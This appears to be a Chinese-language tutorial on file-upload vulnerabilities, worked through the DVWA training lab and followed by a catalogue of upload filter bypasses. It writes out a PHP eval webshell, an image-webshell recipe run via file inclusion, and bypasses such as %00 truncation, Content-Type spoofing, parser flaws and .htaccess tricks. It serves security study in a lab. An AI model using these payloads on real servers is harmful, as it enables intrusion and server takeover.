檔案上傳漏洞定義
檔案上傳漏洞通常是由于上傳檔案的類型、内容沒有進行嚴格的過濾檢查,使得可以通過上傳webshell擷取伺服器權限,是以檔案上傳漏洞帶來的危害通常是毀滅性的。
檔案上傳漏洞的前提
- 能上傳的木馬
- 上傳的木馬可執行
- 還要清楚上傳後的路徑
實作過程
LOW級别
源碼

basename(path,suffix):傳回path中的檔案名部分,如果可選參數suffix為空,則傳回的檔案名中包含檔案字尾名,反之不包含檔案字尾名。
由源碼可知暫時并沒有進行任何過濾;
(1)建立1.php并上傳
1.php:<?php phpinfo();?>
可發現上傳成功,伺服器未做任何限制,此時再次通路上傳路徑
http://192.168.254.128/dvwa/hackable/uploads/1.php#
上傳并執行php檔案,說明存在檔案上傳漏洞
(2)上傳一句話木馬
b.php:<?php @eval($_POST[cmd]);?>
http://192.168.254.128/dvwa/hackable/uploads/b.php#
頁面沒有報錯說明上傳成功
打開中國菜刀,并且寫入路徑
路徑:http://192.168.254.128/dvwa/hackable/uploads/b.php
拿到反彈shell
medium級别
源碼
可見在源碼中對上傳檔案的大小和類型進行了限制;
解決辦法
1、burpsuit抓包修改
實驗過程
對比上傳成功的資料包和上傳失敗的資料包
上傳成功的資料包
上傳失敗的資料包
對上傳失敗的資料包進行修改,便可上傳成功
後續在菜刀裡面運作便可;
[也可先上傳b.jpeg,在抓包中再修改檔案名]
2、%00截斷繞過
實驗過程
%00截斷繞過,此時,伺服器會将low.php%00.png認為其檔案名為low.php,解析為PHP檔案(僅限于PHP版本小于5.3.4的版本)
high級别
源碼
substr():傳回字元串的一部分;
$uploaded_ext:等于檔案的字尾名;
getimagesize(string filename):函數會通過讀取檔案頭,傳回圖檔的長、寬等資訊,如果沒有相關的圖檔檔案頭,函數會報錯。
getimagesize():函數限制了上傳檔案的檔案頭(限制了檔案的大小及圖檔尺寸)。
High安全等級采用白名單過濾,隻允許上傳的檔案字尾名為jpg、jpeg、png且檔案大小小于100000位元組。
繞過方法
制作圖檔木馬,檔案上傳與檔案包含結合
copy 1.jpg/b + a.php/a 1a.jpeg
//1.jpg :任一圖檔
//b:二進制
// a.php :一句話木馬
//a:ASCII 生成1a.jpeg
a.php :一句話木馬
生成圖檔馬,上傳檔案
使用檔案包含執行圖檔馬(此時kali開始監聽)
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/1a.jpeg
檢視監聽結果(腳本已經執行,但是未連接配接成功是因為腳本内容問題,與操作無關)
impossible級别
(1)上傳檔案進行了重命名(為md5值,導緻%00截斷無法繞過過濾規則);
(2)加入Anti-CSRF token防護CSRF攻擊;
(3)對檔案的内容做了嚴格的檢查,導緻攻擊者無法上傳含有惡意腳本的檔案;
檔案上傳校驗
用戶端校驗:
javascript校驗(一般隻校驗字尾名)
服務端校驗:
(1) 檔案頭content—type字段校驗(image/gif)
(2) 檔案内容頭校驗(GIF89a)
(3) 字尾名黑名單校驗
(4) 字尾名白名單校驗
(5) 自定義正則校驗
(6) WAF(網絡入侵級防禦系統)裝置校驗
檔案上傳繞過手段
1、用戶端繞過
可以利用burp抓包改包,先上傳一個gif類型的木馬,然後通過burp将其改為asp/php/jsp字尾名即可;
2、服務端繞過
(1) 檔案類型繞過:burp抓包,将content—type字段改為image/gif
(2) 檔案頭繞過:在木馬内容基礎上再加了一些檔案資訊,eg:GIF98a<php phpinfo();?>
(3) 檔案字尾名繞過:
前提黑名單校驗(一般有個專門的blacklist檔案,裡面包含常見的危險腳本檔案),
繞過方法:
找黑名單擴充名的漏網之魚,eg:asa和cer之類
可能存在大小寫繞過漏洞,eg:aSp和pHp之類
能被解析的檔案擴充名清單:jsp jspx jspf asp asa cer aspx php pht php3 php4
3、 配合檔案包含漏洞
前提:校驗規則隻校驗當檔案字尾名為asp/php/jsp的檔案内容是否為木馬;
繞過方式:(以php為例)
(1) 先上傳一個内容為木馬的txt字尾檔案,因為字尾名的關系沒有檢驗内容;
(2) 然後再上傳一個.php檔案,内容為<?php include(“上傳的txt檔案路徑”);?>
(3) 此時,這個php檔案就回去引用txt檔案的内容,進而繞過校驗;
4、 配合伺服器解析漏洞
IIS解析漏洞
使用IIS5.x-6.x版本的伺服器,大多為2003server,網站比較古老,開發語句一般為asp;該解析漏洞也隻能解析asp檔案;
目錄解析:www.xxx.com/xx.asp/xx.jpg
原理:伺服器會預設把.asp,.asa目錄下的檔案都解析成asp檔案
檔案解析:www.xxx.com/xx.asp;.jpg
原理:伺服器會預設不解析;後面的内容;
解析檔案類型:
IIS6.0預設的可執行檔案(asp、/test.asa,/test.cer,/test.cdx)
Apache解析漏洞
原理:apache解析檔案的規則是從左向右開始判斷解析,如果字尾名為不可識别檔案解析,就再往左判斷;
Eg:www.xxx.com/test.php.owf.rar
由于rar,owf都不可識别解析,是以解析成php
其餘配置問題導緻的漏洞:
conf:
AddHandlerphp5-script.php 此時隻要檔案名包含.php就會以php來執行;
AddTypeapplication/x-httpd-php.jpg 即使擴充名是jpg,一樣能以php方式執行;
5、 配合作業系統檔案指令規則
上傳不符合windows檔案命名規則的檔案名,會被windows系統自動去掉不符合規則符号後面的内容;
eg:(test.asp,test.asp(空格),test.php:1.jpg)
6、 CMS、編輯器漏洞
(1) CMS漏洞:可針對不同CMS存在的上傳漏洞進行繞過;
(2) 編輯器漏洞:(eg:FCK、ewebeditor) 可針對編輯器的漏洞進行繞過;
7、 配合其他規則
(1)0x00截斷:基于一個組合邏輯漏洞造成的,通常存在于建構上傳檔案路徑的時候,路徑/upload/1.php(0x00),檔案名1.jpg,結合/upload/1.php(0x00)/1.jpg
(2).htaccess(上傳目前目錄的該檔案)
AddTtye aaplication/x-http-php.jpg(上傳的jpg均以php執行)
嗯嗯~~就這麼多了